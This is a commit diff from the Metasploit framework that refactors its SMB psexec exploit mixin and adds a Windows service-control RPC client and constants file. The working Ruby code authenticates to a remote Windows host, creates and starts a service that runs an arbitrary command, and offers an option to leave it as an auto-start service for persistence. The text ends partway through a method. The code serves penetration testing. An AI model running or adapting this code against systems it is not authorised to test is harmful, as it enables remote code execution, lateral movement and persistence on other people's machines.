Land #3144, psexec refactoring
commit
0eea9a02a1
|
@ -1,4 +1,5 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/dcerpc/svcctl'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
|
@ -12,9 +13,50 @@ module Msf
|
||||||
|
|
||||||
module Exploit::Remote::SMB::Psexec
|
module Exploit::Remote::SMB::Psexec
|
||||||
|
|
||||||
|
include Rex::Constants::Windows
|
||||||
include Msf::Exploit::Remote::DCERPC
|
include Msf::Exploit::Remote::DCERPC
|
||||||
include Msf::Exploit::Remote::SMB::Authenticated
|
include Msf::Exploit::Remote::SMB::Authenticated
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
|
||||||
|
OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
|
||||||
|
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve the SERVICE_NAME option, generate a random
|
||||||
|
# one if not already set.
|
||||||
|
#
|
||||||
|
# @return service_name [String] the name of the service.
|
||||||
|
def service_name
|
||||||
|
@service_name ||= datastore['SERVICE_NAME']
|
||||||
|
@service_name ||= Rex::Text.rand_text_alpha(8)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random
|
||||||
|
# one if not already set.
|
||||||
|
#
|
||||||
|
# @return service_display_name [String] the display name of the service.
|
||||||
|
def display_name
|
||||||
|
@display_name ||= datastore['SERVICE_DISPLAY_NAME']
|
||||||
|
@display_name ||= Rex::Text.rand_text_alpha(16)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Retrieve the SERVICE_DESCRIPTION option
|
||||||
|
#
|
||||||
|
# @return service_description [String] the service description.
|
||||||
|
def service_description
|
||||||
|
@service_description ||= datastore['SERVICE_DESCRIPTION']
|
||||||
|
end
|
||||||
|
|
||||||
# Retrives output from the executed command
|
# Retrives output from the executed command
|
||||||
#
|
#
|
||||||
# @param smbshare [String] The SMBshare to connect to. Usually C$
|
# @param smbshare [String] The SMBshare to connect to. Usually C$
|
||||||
|
@ -37,7 +79,6 @@ module Exploit::Remote::SMB::Psexec
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Executes a single windows command.
|
# Executes a single windows command.
|
||||||
#
|
#
|
||||||
# If you want to retrieve the output of your command you'll have to
|
# If you want to retrieve the output of your command you'll have to
|
||||||
|
@ -47,115 +88,109 @@ module Exploit::Remote::SMB::Psexec
|
||||||
# {Exploit::FileDropper#cleanup} and
|
# {Exploit::FileDropper#cleanup} and
|
||||||
# {Exploit::FileDropper#on_new_session} handlers do it for you.
|
# {Exploit::FileDropper#on_new_session} handlers do it for you.
|
||||||
#
|
#
|
||||||
# @todo Figure out the actual exceptions this needs to deal with
|
|
||||||
# instead of all the ghetto "rescue ::Exception" madness
|
|
||||||
# @param command [String] Should be a valid windows command
|
# @param command [String] Should be a valid windows command
|
||||||
# @param disconnect [Boolean] Disconnect afterwards
|
# @param disconnect [Boolean] Disconnect afterwards
|
||||||
# @param service_description [String] Service Description
|
|
||||||
# @param service_name [String] Service Name
|
|
||||||
# @param display_name [Strnig] Display Name
|
|
||||||
# @return [Boolean] Whether everything went well
|
# @return [Boolean] Whether everything went well
|
||||||
def psexec(command, disconnect=true, service_description=nil, service_name=nil, display_name=nil)
|
def psexec(command, disconnect=true)
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||||
dcerpc_bind(handle)
|
dcerpc_bind(handle)
|
||||||
vprint_status("#{peer} - Bound to #{handle} ...")
|
vprint_status("#{peer} - Bound to #{handle} ...")
|
||||||
vprint_status("#{peer} - Obtaining a service manager handle...")
|
vprint_status("#{peer} - Obtaining a service manager handle...")
|
||||||
scm_handle = nil
|
|
||||||
stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
|
|
||||||
begin
|
|
||||||
response = dcerpc.call(0x0f, stubdata)
|
|
||||||
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
|
|
||||||
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{peer} - Error getting scm handle: #{e}")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
servicename = service_name || Rex::Text.rand_text_alpha(11)
|
|
||||||
displayname = display_name || Rex::Text.rand_text_alpha(16)
|
|
||||||
|
|
||||||
svc_handle = nil
|
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
|
||||||
svc_status = nil
|
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
|
||||||
stubdata =
|
|
||||||
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
|
if scm_status == ERROR_ACCESS_DENIED
|
||||||
NDR.long(0x0F01FF) + # Access: MAX
|
print_error("#{peer} - ERROR_ACCESS_DENIED opening the Service Manager")
|
||||||
NDR.long(0x00000110) + # Type: Interactive, Own process
|
end
|
||||||
NDR.long(0x00000003) + # Start: Demand
|
|
||||||
NDR.long(0x00000000) + # Errors: Ignore
|
return false unless scm_handle
|
||||||
NDR.wstring( command ) +
|
|
||||||
NDR.long(0) + # LoadOrderGroup
|
if datastore['SERVICE_PERSIST']
|
||||||
NDR.long(0) + # Dependencies
|
opts = { :start => SERVICE_AUTO_START }
|
||||||
NDR.long(0) + # Service Start
|
else
|
||||||
NDR.long(0) + # Password
|
opts = {}
|
||||||
NDR.long(0) + # Password
|
end
|
||||||
NDR.long(0) + # Password
|
|
||||||
NDR.long(0) # Password
|
vprint_status("#{peer} - Creating the service...")
|
||||||
begin
|
svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
|
||||||
vprint_status("#{peer} - Creating the service...")
|
|
||||||
response = dcerpc.call(0x0c, stubdata)
|
case svc_status
|
||||||
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
|
when ERROR_SUCCESS
|
||||||
svc_handle = dcerpc.last_response.stub_data[4,20]
|
vprint_good("#{peer} - Successfully created the service")
|
||||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
when ERROR_SERVICE_EXISTS
|
||||||
end
|
service_exists = true
|
||||||
rescue ::Exception => e
|
print_warning("#{peer} - Service already exists, opening a handle...")
|
||||||
print_error("#{peer} - Error creating service: #{e}")
|
svc_handle = svc_client.openservicew(scm_handle, service_name)
|
||||||
|
when ERROR_ACCESS_DENIED
|
||||||
|
print_error("#{peer} - Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
|
||||||
|
return false
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Failed to create service, ERROR_CODE: #{svc_status}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
if service_description
|
if svc_handle.nil?
|
||||||
vprint_status("#{peer} - Changing service description...")
|
print_error("#{peer} - No service handle retrieved")
|
||||||
stubdata =
|
return false
|
||||||
svc_handle +
|
else
|
||||||
NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
|
|
||||||
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
|
if service_description
|
||||||
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
|
vprint_status("#{peer} - Changing service description...")
|
||||||
NDR.long(0x04000200) +
|
svc_client.changeservicedescription(svc_handle, service_description)
|
||||||
NDR.wstring(service_description)
|
end
|
||||||
|
|
||||||
|
vprint_status("#{peer} - Starting the service...")
|
||||||
begin
|
begin
|
||||||
response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
|
svc_status = svc_client.startservice(svc_handle)
|
||||||
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
case svc_status
|
||||||
print_error("#{peer} - Error changing service description : #{e}")
|
when ERROR_SUCCESS
|
||||||
|
print_good("#{peer} - Service started successfully...")
|
||||||
|
when ERROR_FILE_NOT_FOUND
|
||||||
|
print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
|
||||||
|
when ERROR_ACCESS_DENIED
|
||||||
|
print_error("#{peer} - Service failed to start - ACCESS_DENIED")
|
||||||
|
when ERROR_SERVICE_REQUEST_TIMEOUT
|
||||||
|
print_good("#{peer} - Service start timed out, OK if running a command or non-service executable...")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
begin
|
||||||
|
# If service already exists don't delete it!
|
||||||
|
# Maybe we could have a force cleanup option..?
|
||||||
|
if service_exists
|
||||||
|
print_warning("#{peer} - Not removing service as it already existed...")
|
||||||
|
elsif datastore['SERVICE_PERSIST']
|
||||||
|
print_warning("#{peer} - Not removing service for persistance...")
|
||||||
|
else
|
||||||
|
vprint_status("#{peer} - Removing the service...")
|
||||||
|
svc_status = svc_client.deleteservice(svc_handle)
|
||||||
|
if svc_status == ERROR_SUCCESS
|
||||||
|
vprint_good("#{peer} - Successfully removed the sevice")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
vprint_status("#{peer} - Closing service handle...")
|
||||||
|
svc_client.closehandle(svc_handle)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Starting the service...")
|
|
||||||
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
|
|
||||||
begin
|
|
||||||
response = dcerpc.call(0x13, stubdata)
|
|
||||||
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{peer} - Error starting service: #{e}")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
vprint_status("#{peer} - Removing the service...")
|
|
||||||
stubdata = svc_handle
|
|
||||||
begin
|
|
||||||
response = dcerpc.call(0x02, stubdata)
|
|
||||||
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{peer} - Error removing service: #{e}")
|
|
||||||
end
|
|
||||||
vprint_status("#{peer} - Closing service handle...")
|
|
||||||
begin
|
|
||||||
response = dcerpc.call(0x0, svc_handle)
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("#{peer} - Error closing service handle: #{e}")
|
|
||||||
end
|
|
||||||
|
|
||||||
if disconnect
|
if disconnect
|
||||||
sleep(1)
|
sleep(1)
|
||||||
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
end
|
end
|
||||||
|
|
||||||
return true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
def peer
|
def peer
|
||||||
return "#{rhost}:#{rport}"
|
"#{rhost}:#{rport}"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
#
|
#
|
||||||
# Log severities
|
# Log severities
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,147 @@
|
||||||
|
module Rex::Constants
|
||||||
|
module Windows
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Access Types
|
||||||
|
# winnt.h
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
STANDARD_RIGHTS_REQUIRED = 0x000F0000
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Errors
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
ERROR_SUCCESS = 0x0
|
||||||
|
ERROR_FILE_NOT_FOUND = 0x2
|
||||||
|
ERROR_ACCESS_DENIED = 0x5
|
||||||
|
ERROR_SERVICE_REQUEST_TIMEOUT = 0x41D
|
||||||
|
ERROR_SERVICE_EXISTS = 0x431
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# SVCCTL Protocol Functions
|
||||||
|
# http://msdn.microsoft.com/en-us/library/cc245920.aspxa
|
||||||
|
#
|
||||||
|
##
|
||||||
|
|
||||||
|
CLOSE_SERVICE_HANDLE = 0x00
|
||||||
|
CONTROL_SERVICE = 0x01
|
||||||
|
DELETE_SERVICE = 0x02
|
||||||
|
QUERY_SERVICE_STATUS = 0x05
|
||||||
|
CHANGE_SERVICE_CONFIG_W = 0x0b
|
||||||
|
CREATE_SERVICE_W = 0x0c
|
||||||
|
OPEN_SC_MANAGER_W = 0x0f
|
||||||
|
OPEN_SERVICE_W = 0x10
|
||||||
|
CHANGE_SERVICE_CONFIG2_W = 0x25
|
||||||
|
|
||||||
|
##
|
||||||
|
#
|
||||||
|
# Services
|
||||||
|
# winsvc.h
|
||||||
|
##
|
||||||
|
|
||||||
|
SERVICE_WIN32_OWN_PROCESS = 0x10
|
||||||
|
SERVICE_INTERACTIVE_PROCESS = 0x100
|
||||||
|
|
||||||
|
SERVICE_BOOT_START = 0x00
|
||||||
|
SERVICE_SYSTEM_START = 0x01
|
||||||
|
SERVICE_AUTO_START = 0x02
|
||||||
|
SERVICE_DEMAND_START = 0x03
|
||||||
|
SERVICE_DISABLED = 0x04
|
||||||
|
|
||||||
|
SERVICE_ERROR_IGNORE = 0x0
|
||||||
|
|
||||||
|
SERVICE_NO_CHANGE = 0xffffffff
|
||||||
|
SERVICE_ACTIVE = 0x00000001
|
||||||
|
SERVICE_INACTIVE = 0x00000002
|
||||||
|
SERVICE_STATE_ALL = (SERVICE_ACTIVE |
|
||||||
|
SERVICE_INACTIVE)
|
||||||
|
SERVICE_CONTROL_STOP = 0x00000001
|
||||||
|
SERVICE_CONTROL_PAUSE = 0x00000002
|
||||||
|
SERVICE_CONTROL_CONTINUE = 0x00000003
|
||||||
|
SERVICE_CONTROL_INTERROGATE = 0x00000004
|
||||||
|
SERVICE_CONTROL_SHUTDOWN = 0x00000005
|
||||||
|
SERVICE_CONTROL_PARAMCHANGE = 0x00000006
|
||||||
|
SERVICE_CONTROL_NETBINDADD = 0x00000007
|
||||||
|
SERVICE_CONTROL_NETBINDREMOVE = 0x00000008
|
||||||
|
SERVICE_CONTROL_NETBINDENABLE = 0x00000009
|
||||||
|
SERVICE_CONTROL_NETBINDDISABLE = 0x0000000A
|
||||||
|
SERVICE_CONTROL_DEVICEEVENT = 0x0000000B
|
||||||
|
SERVICE_CONTROL_HARDWAREPROFILECHANGE =0x0000000C
|
||||||
|
SERVICE_CONTROL_POWEREVENT = 0x0000000D
|
||||||
|
SERVICE_CONTROL_SESSIONCHANGE = 0x0000000E
|
||||||
|
SERVICE_CONTROL_PRESHUTDOWN = 0x0000000F
|
||||||
|
SERVICE_CONTROL_TIMECHANGE = 0x00000010
|
||||||
|
SERVICE_CONTROL_TRIGGEREVENT = 0x00000020
|
||||||
|
SERVICE_STOPPED = 0x00000001
|
||||||
|
SERVICE_START_PENDING = 0x00000002
|
||||||
|
SERVICE_STOP_PENDING = 0x00000003
|
||||||
|
SERVICE_RUNNING = 0x00000004
|
||||||
|
SERVICE_CONTINUE_PENDING = 0x00000005
|
||||||
|
SERVICE_PAUSE_PENDING = 0x00000006
|
||||||
|
SERVICE_PAUSED = 0x00000007
|
||||||
|
SERVICE_ACCEPT_STOP = 0x00000001
|
||||||
|
SERVICE_ACCEPT_PAUSE_CONTINUE = 0x00000002
|
||||||
|
SERVICE_ACCEPT_SHUTDOWN = 0x00000004
|
||||||
|
SERVICE_ACCEPT_PARAMCHANGE = 0x00000008
|
||||||
|
SERVICE_ACCEPT_NETBINDCHANGE = 0x00000010
|
||||||
|
SERVICE_ACCEPT_HARDWAREPROFILECHANGE = 0x00000020
|
||||||
|
SERVICE_ACCEPT_POWEREVENT = 0x00000040
|
||||||
|
SERVICE_ACCEPT_SESSIONCHANGE = 0x00000080
|
||||||
|
SERVICE_ACCEPT_PRESHUTDOWN = 0x00000100
|
||||||
|
SERVICE_ACCEPT_TIMECHANGE = 0x00000200
|
||||||
|
SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400
|
||||||
|
SC_MANAGER_CONNECT = 0x0001
|
||||||
|
SC_MANAGER_CREATE_SERVICE = 0x0002
|
||||||
|
SC_MANAGER_ENUMERATE_SERVICE = 0x0004
|
||||||
|
SC_MANAGER_LOCK = 0x0008
|
||||||
|
SC_MANAGER_QUERY_LOCK_STATUS = 0x0010
|
||||||
|
SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020
|
||||||
|
|
||||||
|
SC_MANAGER_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED |
|
||||||
|
SC_MANAGER_CONNECT |
|
||||||
|
SC_MANAGER_CREATE_SERVICE |
|
||||||
|
SC_MANAGER_ENUMERATE_SERVICE |
|
||||||
|
SC_MANAGER_LOCK |
|
||||||
|
SC_MANAGER_QUERY_LOCK_STATUS |
|
||||||
|
SC_MANAGER_MODIFY_BOOT_CONFIG)
|
||||||
|
|
||||||
|
SERVICE_QUERY_CONFIG = 0x0001
|
||||||
|
SERVICE_CHANGE_CONFIG = 0x0002
|
||||||
|
SERVICE_QUERY_STATUS = 0x0004
|
||||||
|
SERVICE_ENUMERATE_DEPENDENTS = 0x0008
|
||||||
|
SERVICE_START = 0x0010
|
||||||
|
SERVICE_STOP = 0x0020
|
||||||
|
SERVICE_PAUSE_CONTINUE = 0x0040
|
||||||
|
SERVICE_INTERROGATE = 0x0080
|
||||||
|
SERVICE_USER_DEFINED_CONTROL = 0x0100
|
||||||
|
SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | \
|
||||||
|
SERVICE_QUERY_CONFIG | \
|
||||||
|
SERVICE_CHANGE_CONFIG | \
|
||||||
|
SERVICE_QUERY_STATUS | \
|
||||||
|
SERVICE_ENUMERATE_DEPENDENTS | \
|
||||||
|
SERVICE_START | \
|
||||||
|
SERVICE_STOP | \
|
||||||
|
SERVICE_PAUSE_CONTINUE | \
|
||||||
|
SERVICE_INTERROGATE | \
|
||||||
|
SERVICE_USER_DEFINED_CONTROL)
|
||||||
|
|
||||||
|
SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001
|
||||||
|
SERVICE_CONFIG_DESCRIPTION = 1
|
||||||
|
SERVICE_CONFIG_FAILURE_ACTIONS = 2
|
||||||
|
SERVICE_CONFIG_DELAYED_AUTO_START_INFO = 3
|
||||||
|
SERVICE_CONFIG_FAILURE_ACTIONS_FLAG = 4
|
||||||
|
SERVICE_CONFIG_SERVICE_SID_INFO = 5
|
||||||
|
SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 6
|
||||||
|
SERVICE_CONFIG_PRESHUTDOWN_INFO = 7
|
||||||
|
SERVICE_CONFIG_TRIGGER_INFO = 8
|
||||||
|
SERVICE_CONFIG_PREFERRED_NODE = 9
|
||||||
|
SERVICE_CONFIG_LAUNCH_PROTECTED = 12
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,2 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/dcerpc/svcctl/packet'
|
|
@ -0,0 +1,304 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Rex
|
||||||
|
|
||||||
|
###
|
||||||
|
# This module implements MSRPC functions that control creating, deleting,
|
||||||
|
# starting, stopping, and querying system services.
|
||||||
|
###
|
||||||
|
module Proto::DCERPC::SVCCTL
|
||||||
|
|
||||||
|
require 'rex/constants/windows'
|
||||||
|
NDR = Rex::Encoder::NDR
|
||||||
|
|
||||||
|
|
||||||
|
class Client
|
||||||
|
|
||||||
|
include Rex::Constants::Windows
|
||||||
|
|
||||||
|
attr_accessor :dcerpc_client
|
||||||
|
|
||||||
|
def initialize(dcerpc_client)
|
||||||
|
self.dcerpc_client = dcerpc_client
|
||||||
|
end
|
||||||
|
|
||||||
|
# Returns the Windows Error Code in numeric format
|
||||||
|
#
|
||||||
|
# @param raw_error [String] the raw error code in binary format.
|
||||||
|
#
|
||||||
|
# @return [Integer] the Windows Error Code integer.
|
||||||
|
def error_code(raw_error)
|
||||||
|
raw_error.unpack('V').first
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls OpenSCManagerW() to obtain a handle to the service control manager.
|
||||||
|
#
|
||||||
|
# @param rhost [String] the target host.
|
||||||
|
# @param access [Fixnum] the access flags requested.
|
||||||
|
#
|
||||||
|
# @return [Array<String,Integer>] the handle to the service control manager or nil if
|
||||||
|
# the call is not successful and the Windows error code
|
||||||
|
def openscmanagerw(rhost, access = SC_MANAGER_ALL_ACCESS)
|
||||||
|
scm_handle = nil
|
||||||
|
scm_status = nil
|
||||||
|
stubdata =
|
||||||
|
NDR.uwstring("\\\\#{rhost}") +
|
||||||
|
NDR.long(0) +
|
||||||
|
NDR.long(access)
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(OPEN_SC_MANAGER_W, stubdata)
|
||||||
|
if response
|
||||||
|
scm_status = error_code(response[20,4])
|
||||||
|
if scm_status == ERROR_SUCCESS
|
||||||
|
scm_handle = response[0,20]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error getting scm handle: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
[scm_handle, scm_status]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls CreateServiceW() to create a system service. Returns a handle to
|
||||||
|
# the service on success, or nil.
|
||||||
|
#
|
||||||
|
# @param scm_handle [String] the SCM handle (from {#openscmanagerw}).
|
||||||
|
# @param service_name [String] the service name.
|
||||||
|
# @param display_name [String] the display name.
|
||||||
|
# @param binary_path [String] the path of the binary to run.
|
||||||
|
# @param opts [Hash] arguments for CreateServiceW()
|
||||||
|
# @option opts [Fixnum] :access (SERVICE_ALL_ACCESS) the access level.
|
||||||
|
# @option opts [Fixnum] :type (SERVICE_WIN32_OWN_PROCESS ||
|
||||||
|
# SERVICE_INTERACTIVE_PROCESS) the type of service.
|
||||||
|
# @option opts [Fixnum] :start (SERVICE_DEMAND_START) the start options.
|
||||||
|
# @option opts [Fixnum] :errors (SERVICE_ERROR_IGNORE) the error options.
|
||||||
|
# @option opts [Fixnum] :load_order_group (0) the load order group.
|
||||||
|
# @option opts [Fixnum] :dependencies (0) the dependencies of the service.
|
||||||
|
# @option opts [Fixnum] :service_start (0)
|
||||||
|
# @option opts [Fixnum] :password1 (0)
|
||||||
|
# @option opts [Fixnum] :password2 (0)
|
||||||
|
# @option opts [Fixnum] :password3 (0)
|
||||||
|
# @option opts [Fixnum] :password4 (0)
|
||||||
|
#
|
||||||
|
# @return [String, Integer] a handle to the created service, windows
|
||||||
|
# error code.
|
||||||
|
def createservicew(scm_handle, service_name, display_name, binary_path, opts)
|
||||||
|
default_opts = {
|
||||||
|
:access => SERVICE_ALL_ACCESS,
|
||||||
|
:type => SERVICE_WIN32_OWN_PROCESS || SERVICE_INTERACTIVE_PROCESS,
|
||||||
|
:start => SERVICE_DEMAND_START,
|
||||||
|
:errors => SERVICE_ERROR_IGNORE,
|
||||||
|
:load_order_group => 0,
|
||||||
|
:dependencies => 0,
|
||||||
|
:service_start => 0,
|
||||||
|
:password1 => 0,
|
||||||
|
:password2 => 0,
|
||||||
|
:password3 => 0,
|
||||||
|
:password4 => 0
|
||||||
|
}.merge(opts)
|
||||||
|
|
||||||
|
svc_handle = nil
|
||||||
|
svc_status = nil
|
||||||
|
stubdata = scm_handle +
|
||||||
|
NDR.wstring(service_name) +
|
||||||
|
NDR.uwstring(display_name) +
|
||||||
|
NDR.long(default_opts[:access]) +
|
||||||
|
NDR.long(default_opts[:type]) +
|
||||||
|
NDR.long(default_opts[:start]) +
|
||||||
|
NDR.long(default_opts[:errors]) +
|
||||||
|
NDR.wstring(binary_path) +
|
||||||
|
NDR.long(default_opts[:load_order_group]) +
|
||||||
|
NDR.long(default_opts[:dependencies]) +
|
||||||
|
NDR.long(default_opts[:service_start]) +
|
||||||
|
NDR.long(default_opts[:password1]) +
|
||||||
|
NDR.long(default_opts[:password2]) +
|
||||||
|
NDR.long(default_opts[:password3]) +
|
||||||
|
NDR.long(default_opts[:password4])
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(CREATE_SERVICE_W, stubdata)
|
||||||
|
if response
|
||||||
|
svc_status = error_code(response[24,4])
|
||||||
|
|
||||||
|
if svc_status == ERROR_SUCCESS
|
||||||
|
svc_handle = response[4,20]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error creating service: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
return svc_handle, svc_status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls ChangeServiceConfig2() to change the service description.
|
||||||
|
#
|
||||||
|
# @param svc_handle [String] the service handle to change.
|
||||||
|
# @param service_description [String] the service description.
|
||||||
|
#
|
||||||
|
# @return [Integer] Windows error code
|
||||||
|
def changeservicedescription(svc_handle, service_description)
|
||||||
|
svc_status = nil
|
||||||
|
stubdata =
|
||||||
|
svc_handle +
|
||||||
|
NDR.long(SERVICE_CONFIG_DESCRIPTION) +
|
||||||
|
NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
|
||||||
|
NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
|
||||||
|
NDR.long(0x04000200) +
|
||||||
|
NDR.wstring(service_description)
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(CHANGE_SERVICE_CONFIG2_W, stubdata) # ChangeServiceConfig2
|
||||||
|
svc_status = error_code(response)
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error changing service description : #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
svc_status
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Calls CloseHandle() to close a handle.
|
||||||
|
#
|
||||||
|
# @param handle [String] the handle to close.
|
||||||
|
#
|
||||||
|
# @return [Integer] Windows error code
|
||||||
|
def closehandle(handle)
|
||||||
|
svc_status = nil
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(CLOSE_SERVICE_HANDLE, handle)
|
||||||
|
if response
|
||||||
|
svc_status = error_code(response[20,4])
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error closing service handle: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
svc_status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls OpenServiceW to obtain a handle to an existing service.
|
||||||
|
#
|
||||||
|
# @param scm_handle [String] the SCM handle (from {#openscmanagerw}).
|
||||||
|
# @param service_name [String] the name of the service to open.
|
||||||
|
# @param access [Fixnum] the level of access requested (default is maximum).
|
||||||
|
#
|
||||||
|
# @return [String, nil] the handle of the service opened, or nil on failure.
|
||||||
|
def openservicew(scm_handle, service_name, access = SERVICE_ALL_ACCESS)
|
||||||
|
svc_handle = nil
|
||||||
|
svc_status = nil
|
||||||
|
stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(access)
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(OPEN_SERVICE_W, stubdata)
|
||||||
|
if response
|
||||||
|
svc_status = error_code(response[20,4])
|
||||||
|
if svc_status == ERROR_SUCCESS
|
||||||
|
svc_handle = response[0,20]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error opening service handle: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
svc_handle
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calls StartService() on a handle to an existing service in order to start
|
||||||
|
# it. Returns true on success, or false.
|
||||||
|
#
|
||||||
|
# @param svc_handle [String] the handle of the service (from {#openservicew}).
|
||||||
|
# @param magic1 [Fixnum] an unknown value.
|
||||||
|
# @param magic2 [Fixnum] another unknown value.
|
||||||
|
#
|
||||||
|
# @return [Integer] Windows error code
|
||||||
|
def startservice(svc_handle, magic1 = 0, magic2 = 0)
|
||||||
|
svc_status = nil
|
||||||
|
stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2)
|
||||||
|
|
||||||
|
begin
|
||||||
|
response = dcerpc_client.call(0x13, stubdata)
|
||||||
|
if response
|
||||||
|
svc_status = error_code(response)
|
||||||
|
end
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||||
|
print_error("#{peer} - Error starting service: #{e}")
|
||||||
|
end
|
||||||
|
|
||||||
|
svc_status
|
||||||
|
end
|
||||||
|
|
||||||
|
# Stops a running service.
|
||||||
|
#
|
||||||
|
